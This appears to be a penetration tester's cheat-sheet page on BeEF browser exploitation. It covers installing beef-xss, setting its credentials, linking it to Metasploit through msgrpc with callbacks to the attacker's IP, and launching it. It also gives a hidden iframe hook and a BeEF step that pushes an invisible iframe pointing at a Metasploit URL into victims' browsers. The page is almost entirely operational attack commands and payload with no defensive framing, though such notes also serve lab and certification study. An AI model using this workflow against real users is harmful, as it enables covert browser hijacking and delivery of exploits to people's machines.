> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/kashz-jewels/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/kashz-jewels/os-windows/windows-privilege-escalation/beef-browser-exploitation.md).

# beef browser exploitation

## beef-xss installation

```bash
# clone from git in /opt
- sudo git clone https://github.com/beefproject/beef
./install

# enable connection to msf
# change default user:pass
$ subl /etc/beef-xss/config.yaml
credentials:
    user:   "kashz"
    passwd: "beef-xss"
metasploit:
    enable: true
```

## Connect MSF with beef

```bash
$ subl /usr/share/beef-xss/extensions/metasploit/config.yaml
host: "<tun0-IP>"
callback_host: "<tun0-IP>"
```

## Launch beef

```bash
# launch msf first
$ msfconsole -q
msf6 > load msgrpc ServerHost=<tun0-IP> Pass=kashz
[*] MSGRPC Service:  <>
[*] MSGRPC Username: msf
[*] MSGRPC Password: kashz
[*] Successfully loaded plugin: msgrpc

$ sudo /usr/share/beef-xss/beef -x
# takes a min to load everything up
```

## iFrame manual hook

```bash
<iframe src="<URL>" style="position: absolute;width:5;height:5;border:5;"></iframe>
```

## Send via beef

```bash
Commands > Misc > Create Invisible iFrame
# set URL as given by msf
```
